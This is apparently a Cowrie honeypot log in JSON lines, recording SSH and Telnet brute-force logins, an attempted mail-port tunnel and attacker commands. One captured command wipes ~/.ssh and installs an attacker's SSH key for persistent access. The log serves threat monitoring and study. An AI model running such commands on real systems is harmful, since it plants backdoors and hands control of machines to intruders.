{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:57.067971Z","src_ip":"193.46.255.86","session":"3b2bb015331c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"111qqq","message":"login attempt [root/111qqq] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:57.688863Z","src_ip":"193.46.255.86","session":"3b2bb015331c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:57.827079Z","session":"3b2bb015331c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:57.965089Z","src_ip":"193.46.255.86","session":"3b2bb015331c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:58.105181Z","src_ip":"193.46.255.86","session":"3b2bb015331c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35346,"dst_ip":"10.17.0.5","dst_port":22,"session":"fadfc7a7e37f","protocol":"ssh","message":"New connection: 2.57.122.208:35346 (10.17.0.5:22) [session: fadfc7a7e37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:14:10.062413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:14:10.066903Z","src_ip":"2.57.122.208","session":"fadfc7a7e37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:14:10.246597Z","src_ip":"2.57.122.208","session":"fadfc7a7e37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:14:10.630420Z","src_ip":"2.57.122.208","session":"fadfc7a7e37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:14:11.743238Z","src_ip":"2.57.122.208","session":"fadfc7a7e37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":59636,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b76e4157ca8","protocol":"telnet","message":"New connection: 185.242.3.105:59636 (159.203.135.109:23) [session: 6b76e4157ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:15:03.738137Z"}
{"eventid":"cowrie.session.closed","duration":29.466150283813477,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:15:33.204182Z","src_ip":"185.242.3.105","session":"6b76e4157ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44042,"dst_ip":"10.17.0.5","dst_port":22,"session":"caf0f52d4bc0","protocol":"ssh","message":"New connection: 2.57.122.208:44042 (10.17.0.5:22) [session: caf0f52d4bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:16:33.434130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:16:33.469305Z","src_ip":"2.57.122.208","session":"caf0f52d4bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:16:33.560747Z","src_ip":"2.57.122.208","session":"caf0f52d4bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:16:33.977390Z","src_ip":"2.57.122.208","session":"caf0f52d4bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:16:35.078712Z","src_ip":"2.57.122.208","session":"caf0f52d4bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":34318,"dst_ip":"159.203.135.109","dst_port":22,"session":"8116f7bdb205","protocol":"ssh","message":"New connection: 85.198.97.85:34318 (159.203.135.109:22) [session: 8116f7bdb205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:11.418705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:11.426549Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:11.547474Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"chick","message":"login attempt [root/chick] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:12.033204Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:12.323701Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:12.326837Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:12.455134Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:17:12.460660Z","src_ip":"85.198.97.85","session":"8116f7bdb205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.134.88","src_port":54136,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f083c35e25","protocol":"ssh","message":"New connection: 202.184.134.88:54136 (159.203.135.109:22) [session: 54f083c35e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:37.722810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:37.727635Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:37.961130Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd!@#123","message":"login attempt [root/abcd!@#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:38.918449Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:39.415943Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:39.419271Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:39.423181Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:39.657606Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.153334Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.156871Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.392948Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.396496Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.134.88","src_port":54146,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ca7f2380602","protocol":"ssh","message":"New connection: 202.184.134.88:54146 (159.203.135.109:22) [session: 6ca7f2380602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.623011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.627704Z","src_ip":"202.184.134.88","session":"6ca7f2380602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:40.860141Z","src_ip":"202.184.134.88","session":"6ca7f2380602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:41.819033Z","src_ip":"202.184.134.88","session":"6ca7f2380602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:43.055001Z","src_ip":"202.184.134.88","session":"6ca7f2380602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.134.88","src_port":54156,"dst_ip":"159.203.135.109","dst_port":22,"session":"206d8d3f9a65","protocol":"ssh","message":"New connection: 202.184.134.88:54156 (159.203.135.109:22) [session: 206d8d3f9a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:43.308992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:43.314467Z","src_ip":"202.184.134.88","session":"206d8d3f9a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"e